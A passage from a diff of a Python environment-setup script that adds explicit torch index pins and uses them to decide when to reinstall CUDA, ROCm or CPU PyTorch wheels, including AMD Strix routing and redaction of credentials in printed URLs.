+    or a ROCm/CPU pin must not force a CUDA reinstall on a non-NVIDIA host).
+    """
+    url = _explicit_torch_index_url()
+    if url is None:
+        return None
+    return url if _is_cuda_family_leaf(_torch_index_leaf(url)) else None
+
+
+def _explicit_unknown_family_torch_index_url() -> "str | None":
+    """The pinned index URL when its leaf names NO known torch family, else None.
+
+    Known = rocm* / gfx* / cpu / cuXXX. Anything else (a private mirror /simple,
+    /current) is UNKNOWN: version-tag heuristics can't judge it, so the family
+    repair helpers must leave it alone (the install applied it verbatim).
+    Matches install.sh / setup.ps1 / install.ps1.
+    """
+    url = _explicit_torch_index_url()
+    if url is None:
+        return None
+    leaf = _torch_index_leaf(url)
+    if _is_pip_rocm_family_leaf(leaf) or leaf == "cpu" or _is_cuda_family_leaf(leaf):
+        return None
+    return url
+
+
 def _ensure_cuda_torch() -> None:
     """Repair a venv whose torch is a ROCm build on an NVIDIA host.
 
@@ -1053,44 +1444,47 @@ def _ensure_cuda_torch() -> None:
     Only repairs when torch actually links against HIP/ROCm. Healthy CUDA
     torch and deliberate CPU-only torch are left untouched.
     """
-    # Respect an explicit backend choice from install.sh: only "" (standalone
-    # `studio update`) or "cuda" should ever force CUDA wheels. "rocm"/"cpu"
-    # (or any unrecognised value) are deliberate and must not be overridden.
+    # Respect install.sh's backend: only "" (standalone update) or "cuda" force CUDA
+    # wheels; "rocm"/"cpu"/unrecognised are deliberate.
     if _TORCH_BACKEND not in ("", "cuda"):
         return
-    # No CUDA torch on macOS; Windows venv/torch lifecycle is owned by
-    # install.ps1 (and the KFD poisoning bug is Linux-only), so skip both.
+    # An explicit unknown-family pin was applied VERBATIM at install time; leave it alone.
+    if _explicit_unknown_family_torch_index_url() is not None:
+        return
+    # No CUDA torch on macOS; Windows torch is owned by install.ps1 (KFD bug is Linux-only).
     if IS_MACOS or IS_WINDOWS or NO_TORCH:
         return
     # Never undo a deliberate ROCm install (setup.ps1 sets this marker).
     if os.environ.get("UNSLOTH_ROCM_TORCH_INSTALLED") == "1":
         return
-    # CUDA_VISIBLE_DEVICES="" / "-1" deliberately hides the NVIDIA GPU (for
-    # example a mixed AMD+NVIDIA host that runs ROCm torch on the AMD card);
-    # never force CUDA wheels over that choice.
+    # An explicit CUDA pin (headless / CI cross-install) commits to CUDA wheels and skips ALL
+    # GPU probing, so it clears both the CUDA_VISIBLE_DEVICES hide gate and the NVIDIA gate below.
+    _cuda_pinned = _explicit_cuda_torch_index_url() is not None
+    # CUDA_VISIBLE_DEVICES="" / "-1" deliberately hides the NVIDIA GPU; never force CUDA
+    # wheels over that unless a CUDA index is pinned.
     _cvd = os.environ.get("CUDA_VISIBLE_DEVICES")
-    if _cvd is not None and _cvd.strip() in ("", "-1"):
+    if not _cuda_pinned and _cvd is not None and _cvd.strip() in ("", "-1"):
         return
-    # Only NVIDIA hosts should carry CUDA torch. _has_usable_nvidia_gpu()
-    # covers the /proc/driver/nvidia/gpus fallback when nvidia-smi is absent.
-    if not _has_usable_nvidia_gpu():
+    # Only NVIDIA hosts carry CUDA torch (the CUDA pin overrides this gate too).
+    if not _cuda_pinned and not _has_usable_nvidia_gpu():
         return
 
-    # Classify the installed torch: "hip" (ROCm build -- the poisoning
-    # signature), "cuda" (healthy), or "cpu" (deliberate CPU wheel). A
-    # non-zero exit means torch is missing or un-importable; the base install
-    # step handles that, so leave it alone.
+    # Classify the installed torch: "hip" (ROCm poisoning signature), "cuda" (healthy),
+    # or "cpu". A non-zero exit means torch is missing/un-importable: without a pin the
+    # base install owns it, but a pinned CUDA index reinstalls it below.
     try:
         probe = subprocess.run(
             [
                 sys.executable,
                 "-c",
                 (
-                    "import torch; "
+                    "import torch, re; "
                     "hip = getattr(torch.version, 'hip', '') or ''; "
                     "cuda = getattr(torch.version, 'cuda', '') or ''; "
                     "ver = getattr(torch, '__version__', '').lower(); "
-                    "print('hip' if (hip or 'rocm' in ver) else ('cuda' if cuda else 'cpu'))"
+                    "m = re.search(r'\\+(cu\\d+)', ver); "
+                    "marker = 'hip' if (hip or 'rocm' in ver) else ('cuda' if cuda else 'cpu'); "
+                    "print(marker + '|' + (m.group(1) if m else ''))"
                 ),
             ],
             stdout = subprocess.PIPE,
@@ -1100,22 +1494,60 @@ def _ensure_cuda_torch() -> None:
     except (OSError, subprocess.TimeoutExpired):
         return
     if probe.returncode != 0:
+        # torch present but can't import. Without a pin the base install owns it; but an
+        # explicit CUDA pin forces this pass (failed probe) and the base update won't
+        # reinstall an already-installed torch, so reinstall from the pin (self-resolving).
+        if not _cuda_pinned:
+            return
+        index_url = _detect_cuda_torch_index_url()
+        _torch_pkg, _vision_pkg, _audio_pkg = _CUDA_TORCH_PKG_SPEC
+        print(
+            f"   torch cannot import but an explicit CUDA index is pinned -- reinstalling "
+            f"CUDA torch from {_strip_index_url_credentials(index_url)}"
+        )
+        pip_install(
+            "CUDA torch repair",
+            "--force-reinstall",
+            "--no-cache-dir",
+            _torch_pkg,
+            _vision_pkg,
+            _audio_pkg,
+            "--index-url",
+            index_url,
+            constrain = False,
+        )
         return
-    # Take the last non-empty stdout line: stray output from sitecustomize or
-    # an import hook must not mask the marker (fail-closed either way).
+    # Last non-empty line: stray sitecustomize/import-hook output must not mask the marker.
     _marker_lines = [
         line.strip() for line in probe.stdout.decode(errors = "replace").splitlines() if line.strip()
     ]
-    if not _marker_lines or _marker_lines[-1] != "hip":
-        return  # healthy CUDA torch, or a deliberate CPU wheel -- leave as-is
+    if not _marker_lines:
+        return
+    _marker, _, _installed_cu = _marker_lines[-1].partition("|")
+    # Reinstall CUDA torch on a ROCm build on an NVIDIA host (poisoning signature), or when a
+    # CUDA index is pinned but the venv has the wrong family (CPU or a different cuXXX). A
+    # healthy match, or a CPU wheel with no CUDA pin, is left alone.
+    _pin = _explicit_torch_index_url()
+    _pin_leaf = _torch_index_leaf(_pin) if _pin else ""
+    _pinned_cuda = _is_cuda_family_leaf(_pin_leaf)
+    if _marker == "hip":
+        _why = "torch is a ROCm build on an NVIDIA host"
+    elif _marker == "cpu" and _pinned_cuda:
+        _why = "torch is a CPU build but an explicit CUDA index is pinned"
+    elif _marker == "cuda" and _pinned_cuda and _installed_cu != _pin_leaf:
+        # Installed cuXXX differs from the pin. An untagged build (empty) counts too:
+        # the family can't be confirmed, so reinstall to enforce it (idempotent).
+        _installed_desc = _installed_cu if _installed_cu else "an untagged CUDA build"
+        _why = f"torch is {_installed_desc} but the pinned CUDA index is {_pin_leaf}"
+    else:
+        return  # healthy CUDA torch matching the pin, or a deliberate CPU wheel
 
     index_url = _detect_cuda_torch_index_url()
     _torch_pkg, _vision_pkg, _audio_pkg = _CUDA_TORCH_PKG_SPEC
     print(
-        f"   torch is a ROCm build on an NVIDIA host -- reinstalling "
-        f"CUDA torch from {index_url}\n"
-        f"   (set UNSLOTH_TORCH_BACKEND=rocm to keep a deliberate ROCm torch "
-        f"on a mixed AMD+NVIDIA host)"
+        f"   {_why} -- reinstalling CUDA torch from {_strip_index_url_credentials(index_url)}\n"
+        f"   (set UNSLOTH_TORCH_BACKEND=rocm or cpu to keep a deliberate "
+        f"non-CUDA torch)"
     )
     pip_install(
         "CUDA torch repair",
@@ -1130,6 +1562,90 @@ def _ensure_cuda_torch() -> None:
     )
 
 
+def _ensure_cpu_torch() -> None:
+    """Reinstall CPU torch when an explicit CPU pin is set but the venv has a GPU build.
+
+    Counterpart to _ensure_cuda/rocm_torch for the explicit-CPU case (those treat a CPU
+    backend as a skip, so a standalone `studio update` would ignore the authoritative CPU
+    pin). Only fires for an EXPLICIT pin.
+    """
+    if NO_TORCH:
+        return
+    pin = _explicit_cpu_torch_index_url()
+    if pin is None:
+        return
+
+    # Classify the installed torch family. A non-zero exit means torch is missing or
+    # un-importable: the explicit CPU pin reinstalls it below.
+    try:
+        probe = subprocess.run(
+            [
+                sys.executable,
+                "-c",
+                (
+                    "import torch, re; "
+                    "hip = getattr(torch.version, 'hip', '') or ''; "
+                    "cuda = getattr(torch.version, 'cuda', '') or ''; "
+                    "ver = getattr(torch, '__version__', '').lower(); "
+                    "gpu = bool(hip) or 'rocm' in ver or bool(cuda) or bool(re.search(r'\\+cu\\d+', ver)); "
+                    "print('gpu' if gpu else 'cpu')"
+                ),
+            ],
+            stdout = subprocess.PIPE,
+            stderr = subprocess.DEVNULL,
+            timeout = 90,
+        )
+    except (OSError, subprocess.TimeoutExpired):
+        return
+    if probe.returncode != 0:
+        # torch present but can't import. The explicit CPU pin forces this pass (failed
+        # probe) and the base update won't reinstall an already-installed torch, so
+        # reinstall from the pin (self-resolving, no loop).
+        _torch_pkg, _vision_pkg, _audio_pkg = _CPU_TORCH_PKG_SPEC
+        print(
+            f"   torch cannot import but an explicit CPU index is pinned -- reinstalling "
+            f"CPU torch from {_strip_index_url_credentials(pin)}"
+        )
+        pip_install(
+            "CPU torch repair",
+            "--force-reinstall",
+            "--no-cache-dir",
+            _torch_pkg,
+            _vision_pkg,
+            _audio_pkg,
+            "--index-url",
+            pin,
+            constrain = False,
+        )
+        return
+    _lines = [
+        line.strip() for line in probe.stdout.decode(errors = "replace").splitlines() if line.strip()
+    ]
+    if not _lines:
+        return  # unreadable -- the base install step handles a missing torch
+    if _lines[-1] != "gpu":
+        return  # already a CPU build
+
+    print(
+        "   torch is a GPU build but an explicit CPU index is pinned -- reinstalling "
+        f"CPU torch from {_strip_index_url_credentials(pin)}"
+    )
+    # Pin the supported torch<2.11 family (the /cpu index now serves 2.11+, so a bare
+    # trio could resolve out of range or ABI-mismatched).
+    _torch_pkg, _vision_pkg, _audio_pkg = _CPU_TORCH_PKG_SPEC
+    pip_install(
+        "CPU torch repair",
+        "--force-reinstall",
+        "--no-cache-dir",
+        _torch_pkg,
+        _vision_pkg,
+        _audio_pkg,
+        "--index-url",
+        pin,
+        constrain = False,
+    )
+
+
 def _ensure_rocm_torch() -> None:
     """Reinstall torch with ROCm wheels when the venv received CPU-only torch.
 
@@ -1140,16 +1656,15 @@ def _ensure_rocm_torch() -> None:
     Uses pip_install() to respect uv, constraints, and --python targeting.
     """
     global _rocm_windows_torch_installed
-    # install.sh sets UNSLOTH_TORCH_BACKEND to the resolved wheel family
-    # ("cuda", "rocm", "cpu"). Skip ROCm operations entirely when install.sh
-    # already selected a non-ROCm backend -- this is the authoritative signal
-    # and avoids re-running GPU detection in a subprocess that may see a
-    # different environment (different PATH, CUDA_VISIBLE_DEVICES, etc.).
+    # install.sh's resolved backend is authoritative: skip ROCm when it already chose a
+    # non-ROCm family (avoids re-detecting in a subprocess that may see a different env).
     if _TORCH_BACKEND in ("cuda", "cpu"):
         return
-    # setup.ps1 sets this after installing AMD wheels; skip the probe only when
-    # torch is actually importable as ROCm. If the venv was wiped between runs,
-    # the stale env-var would suppress a needed reinstall.
+    # An explicit unknown-family pin was applied VERBATIM at install time; leave it alone.
+    if _explicit_unknown_family_torch_index_url() is not None:
+        return
+    # setup.ps1 sets this after installing AMD wheels; skip only when torch is actually
+    # importable as ROCm (a wiped venv leaves a stale env-var that must not suppress it).
     if os.environ.get("UNSLOTH_ROCM_TORCH_INSTALLED") == "1":
         _torch_ok = False
         try:
@@ -1173,9 +1688,8 @@ def _ensure_rocm_torch() -> None:
             pass
         if _torch_ok:
             _rocm_windows_torch_installed = True
-            # setup.ps1 already installed ROCm torch, but we still need the AMD
-            # Windows BNB wheel here -- the PyPI bitsandbytes wheel ships only
-            # CUDA DLLs and fails to load on ROCm.
+            # ROCm torch is already installed, but the AMD Windows BNB wheel is still
+            # needed (the PyPI bitsandbytes ships only CUDA DLLs, fails on ROCm).
             _install_bnb_windows_rocm()
             return
         # torch was wiped between runs; fall through to the full install path
@@ -1183,10 +1697,15 @@ def _ensure_rocm_torch() -> None:
         return
 
     if IS_WINDOWS:
-        if _has_usable_nvidia_gpu():
+        # An explicit ROCm-family pin commits to ROCm wheels regardless of the visible
+        # GPU and overrides the public per-arch index (mirrors the Linux pin handling
+        # below): after a pinned setup.ps1 install fails to CPU, this repair must retry
+        # the PINNED index, not repo.amd.com.
+        _win_rocm_pin = _explicit_rocm_torch_index_url()
+        if _win_rocm_pin is None and _has_usable_nvidia_gpu():
             return
         gfx_arch = _detect_windows_gfx_arch()
-        if not gfx_arch:
+        if not gfx_arch and _win_rocm_pin is None:
             return  # no AMD GPU visible via hipinfo
         # Probe whether torch already links against HIP.
         _torch_already_rocm = False
@@ -1211,23 +1730,24 @@ def _ensure_rocm_torch() -> None:
         except (OSError, subprocess.TimeoutExpired):
             pass
         if not _torch_already_rocm:
-            index_url = _windows_rocm_index_url(gfx_arch)
+            index_url = _win_rocm_pin or _windows_rocm_index_url(gfx_arch)
             if index_url is None:
                 print(f"   No AMD Windows torch index for GPU arch {gfx_arch} -- skipping")
                 return
-            print(f"   {gfx_arch} (Windows) -- installing torch from {index_url}")
-            # Pin companions for the arches install.ps1/setup.ps1 pin (gfx120X /
-            # Strix) so the per-arch index resolves an ABI-consistent trio; other
-            # arches stay bare (no published floor), matching the PowerShell side.
+            print(
+                f"   {gfx_arch or 'pinned ROCm index'} (Windows) -- installing torch from "
+                f"{_strip_index_url_credentials(index_url)}"
+            )
+            # Pin companions for the arches install.ps1/setup.ps1 pin (gfx120X / Strix)
+            # so the per-arch index resolves an ABI-consistent trio; other arches stay bare.
             _torch_pkg, _vision_pkg, _audio_pkg = _WINDOWS_ROCM_TORCH_PKG_SPECS.get(
                 gfx_arch, ("torch", "torchvision", "torchaudio")
             )
-            # Nonfatal: a transient AMD-index failure must not abort the whole
-            # install once the PowerShell side has fallen back to CPU torch.
-            # --force-reinstall resolves before uninstalling, so a failed index
-            # leaves the existing build intact; keep it and let the user retry.
+            # Nonfatal: a transient AMD-index failure must not abort the install.
+            # --force-reinstall resolves before uninstalling, so a failed index keeps the
+            # existing build intact; let the user retry.
             if not pip_install_try(
-                f"ROCm torch (Windows, {gfx_arch})",
+                f"ROCm torch (Windows, {gfx_arch or 'pinned'})",
                 "--force-reinstall",
                 "--index-url",
                 index_url,
@@ -1237,7 +1757,7 @@ def _ensure_rocm_torch() -> None:
                 constrain = False,
             ):
                 print(
-                    f"   Warning: AMD Windows ROCm torch install failed for {gfx_arch}; "
+                    f"   Warning: AMD Windows ROCm torch install failed for {gfx_arch or 'the pinned index'}; "
                     "keeping the existing torch build. Re-run 'unsloth studio update' "
                     "later to retry ROCm."
                 )
@@ -1260,26 +1780,32 @@ def _ensure_rocm_torch() -> None:
     # ── Linux x86_64 only: PyTorch ROCm wheels are not published for aarch64 ──
     if platform.machine().lower() not in {"x86_64", "amd64"}:
         return
-    # NVIDIA takes precedence on mixed hosts -- but only if a GPU is usable
-    if _has_usable_nvidia_gpu():
-        return
-    # Use _has_rocm_gpu() (rocminfo / amd-smi GPU data rows) as the
-    # authoritative "is this an AMD ROCm host?" signal. The old gate required
-    # /opt/rocm or hipcc to exist, which breaks runtime-only ROCm installs
-    # (minimal package-managed installs, Radeon software) that ship
-    # amd-smi/rocminfo without /opt/rocm or hipcc, leaving `unsloth studio
-    # update` unable to repair a CPU-only venv on those systems.
-    if not _has_rocm_gpu():
-        return  # no AMD GPU visible
+    # An explicit ROCm pin commits to ROCm wheels regardless of the visible GPU (headless / CI).
+    # Mirror _ensure_cuda_torch: skip the NVIDIA/no-AMD/unreadable gates.
+    _rocm_pin = _explicit_rocm_torch_index_url()
+    _inferred_linux_gfx = (
+        _infer_linux_amd_gfx_arch() if (_rocm_pin is None and not IS_WINDOWS) else None
+    )
+    if _rocm_pin is None:
+        # NVIDIA takes precedence on mixed hosts (only if a GPU is usable).
+        if _has_usable_nvidia_gpu():
+            return
+        # _has_rocm_gpu() (rocminfo / amd-smi rows) is the authoritative AMD-host signal;
+        # the old /opt/rocm-or-hipcc gate broke runtime-only ROCm installs.
+        if not _has_rocm_gpu() and not _inferred_linux_gfx:
+            return  # no AMD GPU visible
 
     ver = _detect_rocm_version()
     if ver is None:
-        print("   ROCm detected but version unreadable -- skipping torch reinstall")
-        return
+        if _rocm_pin is None and not _inferred_linux_gfx:
+            print("   ROCm detected but version unreadable -- skipping torch reinstall")
+            return
+        # Explicit pin or inferred gfx: the index drives the install.
+        ver = (0, 0)
 
-    # Probe whether torch already links against HIP (ROCm already working).
-    # Do NOT skip for CUDA-only builds: they are unusable on AMD-only hosts
-    # (the NVIDIA check above already handled mixed AMD+NVIDIA setups).
+    # Probe whether torch links against HIP, capturing the installed ROCm tag for pin-mismatch
+    # detection. Emit ONE "<hip_marker>|<version>" line: marker (HIP version, "rocm" sentinel,
+    # or empty for CPU/CUDA) before "|", wheel version after.
     try:
         probe = subprocess.run(
             [
@@ -1289,10 +1815,10 @@ def _ensure_rocm_torch() -> None:
                     "import torch; "
                     "hip=getattr(torch.version,'hip','') or ''; "
                     "ver=getattr(torch,'__version__','').lower(); "
-                    # Print the HIP version when present (back-compat), else a
-                    # "rocm" sentinel when only torch.__version__ flags ROCm
-                    # (AMD SDK / Radeon wheels). Empty string = CPU/CUDA.
-                    "print(hip if hip else ('rocm' if 'rocm' in ver else ''))"
+                    # HIP version if present, else a "rocm" sentinel when only the
+                    # version string flags ROCm; empty marker = CPU/CUDA torch.
+                    "marker=hip if hip else ('rocm' if 'rocm' in ver else ''); "
+                    "print(marker + '|' + ver)"
                 ),
             ],
             stdout = subprocess.PIPE,
@@ -1301,29 +1827,80 @@ def _ensure_rocm_torch() -> None:
         )
     except (OSError, subprocess.TimeoutExpired):
         probe = None
-    has_hip_torch = (
-        probe is not None and probe.returncode == 0 and probe.stdout.decode().strip() != ""
+    # Last non-empty line, split on the FIRST "|" so the empty HIP field is preserved.
+    _marker_lines = (
+        [ln.strip() for ln in probe.stdout.decode(errors = "replace").splitlines() if ln.strip()]
+        if (probe is not None and probe.returncode == 0)
+        else []
+    )
+    _hip_marker, _sep, _installed_torch_ver = (
+        _marker_lines[-1].partition("|") if _marker_lines else ("", "", "")
+    )
+    # A "|"-delimited line is required; without it treat HIP as absent -> reinstall.
+    has_hip_torch = bool(_sep) and _hip_marker != ""
+
+    # An explicit ROCm pin whose family differs from the installed torch must reinstall, else a
+    # rocm7.2/gfx* pin over an older +rocm6.4/7.1 build never applies. Version-tag heuristic
+    # only: a same-tag per-arch switch (gfx1151 -> gfx120X-all, both +rocm7.13.0) isn't detectable.
+    _rocm_pin_mismatch = (
+        _rocm_pin_family_mismatch(_rocm_pin, _installed_torch_ver)
+        if (has_hip_torch and _rocm_pin is not None)
+        else False
     )
 
-    rocm_torch_ready = has_hip_torch
+    rocm_torch_ready = has_hip_torch and not _rocm_pin_mismatch
 
-    # Strix Halo / Strix Point (gfx1151 / gfx1150) segfault under ROCm 7.1
-    # in torch._grouped_mm. AMD's per-gfx repo ships torch 2.11.0+rocm7.13.0
-    # with the real fix, so route those hosts there instead of the generic
-    # pytorch.org rocm7.1 wheel. Mirrors install.sh's Strix override.
-    # On mixed hosts (Strix iGPU + non-Strix dGPU), route to the AMD per-gfx
-    # index only when HIP's runtime GPU is the Strix one -- else the dGPU gets
-    # an incompatible wheel. Use HIP_VISIBLE_DEVICES for the runtime target.
+    # Inferred-gfx path: ROCm runtime missing but install.sh would route to AMD wheels.
+    # Gated on the runtime NOT enumerating a GPU: when it can, the runtime-visible
+    # arch (Strix override / generic below) decides, not cpuinfo -- a mixed Strix
+    # APU + dGPU box with HIP_VISIBLE_DEVICES on the dGPU must not get APU wheels.
+    # An explicit UNSLOTH_ROCM_GFX_ARCH is exempt from that runtime gate (mirrors
+    # install.sh): a visible GPU with an unreadable/unsupported ROCm version must
+    # not silently discard the user's named arch and leave CPU torch in place.
+    _gfx_override_env = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip().lower()
+    if (
+        _inferred_linux_gfx
+        and not has_hip_torch
+        and _rocm_pin is None
+        and (_gfx_override_env or not _has_rocm_gpu())
+    ):
+        index_url = _amd_arch_index_url(_inferred_linux_gfx)
+        if index_url is not None:
+            _torch_pkg, _vision_pkg, _audio_pkg = _WINDOWS_ROCM_TORCH_PKG_SPECS.get(
+                _inferred_linux_gfx, ("torch", "torchvision", "torchaudio")
+            )
+            print(
+                f"\n   {_inferred_linux_gfx} inferred (ROCm runtime not visible) -- "
+                f"installing torch from {_strip_index_url_credentials(index_url)}\n"
+                f"   AMD wheels bundle their own ROCm runtime; install the kernel stack "
+                f"for native GPU compute.\n"
+            )
+            pip_install(
+                f"ROCm torch (inferred {_inferred_linux_gfx})",
+                "--force-reinstall",
+                "--no-cache-dir",
+                _torch_pkg,
+                _vision_pkg,
+                _audio_pkg,
+                "--index-url",
+                index_url,
+                constrain = False,
+            )
+            rocm_torch_ready = True
+
+    # Strix Halo / Point (gfx1151 / gfx1150) need torch from AMD's per-gfx index
+    # (2.11+rocm7.13); any generic pytorch.org rocm index lacks the fixes (ROCm 7.1
+    # segfaults in _grouped_mm). See _strix_needs_amd_arch_index for the floor gate.
     _strix_override_url: "str | None" = None
     _strix_override_pkgs: "tuple[str, str, str] | None" = None
-    if ver < (7, 2):
+    # An explicit ROCm pin is authoritative: never auto-reroute it.
+    if _strix_needs_amd_arch_index(ver) and _explicit_rocm_torch_index_url() is None:
         gfx_codes = _detect_amd_gfx_codes()
         _strix_gfx = {"gfx1151", "gfx1150"}
         _detected_strix = _strix_gfx.intersection(gfx_codes)
         if _detected_strix:
-            # Pick the runtime-visible GPU: use the HIP_VISIBLE_DEVICES index
-            # into gfx_codes, else default to the first GPU. Skip the override
-            # unless the resolved GPU is Strix.
+            # Runtime-visible GPU (HIP_VISIBLE_DEVICES index into gfx_codes, else first);
+            # skip the override unless it's Strix.
             _runtime_gfx = gfx_codes[_pick_visible_index(len(gfx_codes))] if gfx_codes else None
             if _runtime_gfx in _strix_gfx:
                 _selected_gfx = _runtime_gfx
@@ -1333,22 +1910,18 @@ def _ensure_rocm_torch() -> None:
                 _strix_override_url = f"{_amd_mirror}/{_selected_gfx}/"
                 _strix_override_pkgs = (
                     "torch>=2.11.0,<2.12.0",
-                    # Pin torchvision/torchaudio to the 2.11.x-compatible range.
-                    # The install uses --index-url (exclusive, no PyPI fallback),
-                    # so bare unversioned names risk resolving an AMD-index build
-                    # targeting a different torch major (e.g. 0.27 built against
-                    # torch 2.12), which fails at runtime with an ABI/version
-                    # mismatch. Matches _ROCM_TORCH_CONSTRAINT["rocm7.2"].
+                    # Pin companions to the 2.11.x range: the exclusive --index-url could
+                    # otherwise resolve a build for a different torch major (ABI mismatch).
                     "torchvision>=0.26.0,<0.27.0",
                     "torchaudio>=2.11.0,<2.12.0",
                 )
                 print(
                     f"\n   {_selected_gfx} (AMD Strix) is the runtime target with ROCm "
                     f"{ver[0]}.{ver[1]}.\n"
-                    f"   ROCm 7.1 has a known _grouped_mm segfault on this GPU;\n"
-                    f"   routing torch install to AMD's arch-specific index\n"
+                    f"   Routing torch install to AMD's arch-specific index\n"
                     f"   ({_strix_override_url}) which serves torch 2.11.0+rocm7.13.0\n"
-                    f"   with the upstream fix.\n"
+                    f"   with AMD's gfx1150/gfx1151 fixes (more reliable than the generic\n"
+                    f"   pytorch.org rocm7.2 index on ROCm 7.3+ hosts).\n"
                 )
             else:
                 _gfx_str = ", ".join(sorted(_detected_strix))
@@ -1358,14 +1931,15 @@ def _ensure_rocm_torch() -> None:
                     f"   skipping AMD per-gfx index override.\n"
                 )
 
-    # Strix override on ROCm 7.1 must fire even when has_hip_torch is True --
-    # an existing torch with `torch.version.hip == "7.1"` is exactly the broken
-    # combo the override repairs, so skipping it leaves users on the known
-    # _grouped_mm segfault.
+    # The Strix override must fire even when has_hip_torch is True: an existing
+    # torch.version.hip == "7.1" is exactly the broken combo it repairs.
     if _strix_override_url is not None and _strix_override_pkgs is not None:
         index_url = _strix_override_url
         _torch_pkg, _vision_pkg, _audio_pkg = _strix_override_pkgs
-        print(f"   Strix ROCm 7.1 override -- installing torch from {index_url}")
+        print(
+            f"   Strix arch-specific override -- installing torch from "
+            f"{_strip_index_url_credentials(index_url)}"
+        )
         pip_install(
             "ROCm torch (Strix arch-specific)",
             "--force-reinstall",
@@ -1378,24 +1952,41 @@ def _ensure_rocm_torch() -> None:
             constrain = False,
         )
         rocm_torch_ready = True
-    elif not has_hip_torch:
-        # Select best matching wheel tag (newest ROCm version <= installed)
-        tag = next(
-            (
-                t
-                for (maj, mn), t in sorted(_ROCM_TORCH_INDEX.items(), reverse = True)
-                if ver >= (maj, mn)
-            ),
-            None,
-        )
-        if tag is None:
-            print(f"   No PyTorch wheel for ROCm {ver[0]}.{ver[1]} -- " f"skipping torch reinstall")
+    elif not rocm_torch_ready:
+        # Reinstall when torch is not ROCm yet, OR a ROCm build's family differs from a pin.
+        # Gate on rocm_torch_ready (not has_hip_torch alone) so a successful inferred-gfx
+        # install above is not overwritten by the generic pytorch.org/rocmX.Y path -- that
+        # would undo the fresh-ROCm/no-/dev/kfd repair this path exists for (Codex P1 #7305).
+        # Honour a ROCm pin verbatim; else pick the newest wheel tag <= host.
+        _override_idx = _explicit_rocm_torch_index_url()
+        if _override_idx is not None:
+            index_url = _override_idx
+            tag = _torch_index_leaf(index_url)
         else:
-            index_url = f"{_PYTORCH_WHL_BASE}/{tag}"
-            print(f"   ROCm {ver[0]}.{ver[1]} -- installing torch from {index_url}")
-            _torch_pkg, _vision_pkg, _audio_pkg = _ROCM_TORCH_PKG_SPECS.get(
-                tag, _ROCM_TORCH_PKG_SPECS["_default"]
+            tag = next(
+                (
+                    t
+                    for (maj, mn), t in sorted(_ROCM_TORCH_INDEX.items(), reverse = True)
+                    if ver >= (maj, mn)
+                ),
+                None,
             )
+        if tag is None:
+            print(f"   No PyTorch wheel for ROCm {ver[0]}.{ver[1]} -- skipping torch reinstall")
+        else:
+            if _override_idx is None:
+                index_url = f"{_PYTORCH_WHL_BASE}/{tag}"
+            print(f"   ROCm torch -- installing from {_strip_index_url_credentials(index_url)}")
+            # Only the _grouped_mm-bug gfx arches need the 2.11 spec; other gfx indexes ship
+            # <2.11 and stay on the default range (matches install.ps1 / setup.ps1).
+            if tag in _ROCM_GFX_TORCH211_LEAVES:
+                _torch_pkg, _vision_pkg, _audio_pkg = _ROCM_TORCH_PKG_SPECS["rocm7.2"]
+            elif tag.startswith("gfx"):
+                _torch_pkg, _vision_pkg, _audio_pkg = _ROCM_TORCH_PKG_SPECS["_default"]
+            else:
+                _torch_pkg, _vision_pkg, _audio_pkg = _ROCM_TORCH_PKG_SPECS.get(
+                    tag, _ROCM_TORCH_PKG_SPECS["_default"]
+                )
             pip_install(
                 f"ROCm torch ({tag})",
                 "--force-reinstall",
@@ -1484,11 +2075,26 @@ def _infer_no_torch() -> bool:
 
 NO_TORCH = _infer_no_torch()
 
-# UNSLOTH_TORCH_BACKEND is set by install.sh after get_torch_index_url() so
-# that this script knows which torch variant was selected without re-running
-# GPU detection. Values: "cuda", "rocm", or "cpu". Empty means unknown
-# (standalone `unsloth studio update` runs, where we re-detect normally).
+# UNSLOTH_TORCH_BACKEND is set by install.sh after get_torch_index_url() ("cuda", "rocm",
+# "cpu"; empty = standalone `studio update`, where we re-detect).
 _TORCH_BACKEND: str = os.environ.get("UNSLOTH_TORCH_BACKEND", "").lower()
+# Standalone update with an explicit pin: derive the backend from the override (classify on
+# the final URL/family segment, mirroring install.sh) instead of re-probing the GPU.
+if not _TORCH_BACKEND:
+    _idx_override = (
+        os.environ.get("UNSLOTH_TORCH_INDEX_URL", "").strip()
+        or os.environ.get("UNSLOTH_TORCH_INDEX_FAMILY", "").strip()
+    )
+    _idx_leaf = _torch_index_leaf(_idx_override)
+    if _idx_leaf.startswith(("rocm", "gfx")):
+        _TORCH_BACKEND = "rocm"
+    elif _idx_leaf == "cpu":
+        _TORCH_BACKEND = "cpu"
+    elif _is_cuda_family_leaf(_idx_leaf):
+        # Require a digit after "cu" so /current or /custom is NOT branded CUDA (a wrong backend
+        # makes _ensure_rocm_torch return early on AMD hosts). An unknown leaf keeps "" so the
+        # helpers probe the GPU.
+        _TORCH_BACKEND = "cuda"
 
 
 def _torch_step_label(suffix: str) -> str:
@@ -1532,6 +2138,10 @@ LOCAL_DD_UNSTRUCTURED_PLUGIN = (
 )
 LOCAL_DD_GITHUB_PLUGIN = SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
 
+# mlx-lm 0.31.3 broke gemma4 / qwen3_5 loading (strict load_weights rejects the
+# QK-norm q_norm/k_norm tensors); exclude just that release. See mlx-lm #1242.
+MLX_LM_BAD_VERSION_EXCLUSION = "!=0.31.3"
+
 # Apple Silicon: override mlx-vlm/mlx-lm's transformers pin (see overrides).
 # _uv_safe_path: uv truncates UV_OVERRIDE at the first space too (issue #6503).
 _MLX_OVERRIDES = SINGLE_ENV / "overrides-darwin-arm64.txt"
@@ -1700,12 +2310,15 @@ def run(
         cmd,
         stdout = subprocess.PIPE if quiet else None,
         stderr = subprocess.STDOUT if quiet else None,
+        env = _install_env_for_cmd(cmd),
         **_windows_hidden_subprocess_kwargs(),
     )
     if result.returncode != 0:
         _step("error", f"{label} failed (exit code {result.returncode})", _red)
         if result.stdout:
-            print(result.stdout.decode(errors = "replace"))
+            # Redact before printing: the failing pip command may carry a pinned --index-url
+            # with userinfo/?token= creds, so raw pip error text would leak them.
+            print(_redact_install_output(result.stdout))
         sys.exit(result.returncode)
     return result
 
@@ -1713,15 +2326,13 @@ def run(
 # Packages to skip on Windows (require special build steps)
 WINDOWS_SKIP_PACKAGES = {"triton_kernels"}
 
-# Packages to skip when torch is unavailable (Intel Mac GGUF-only mode).
-# These either *are* torch extensions or have unconditional
-# ``Requires-Dist: torch``, so installing them would pull torch back in.
-# ``librosa`` is here too despite not requiring torch: upstream ``llvmlite``
-# dropped its macOS x86_64 wheel between 0.42.0 and 0.46.0+ (see
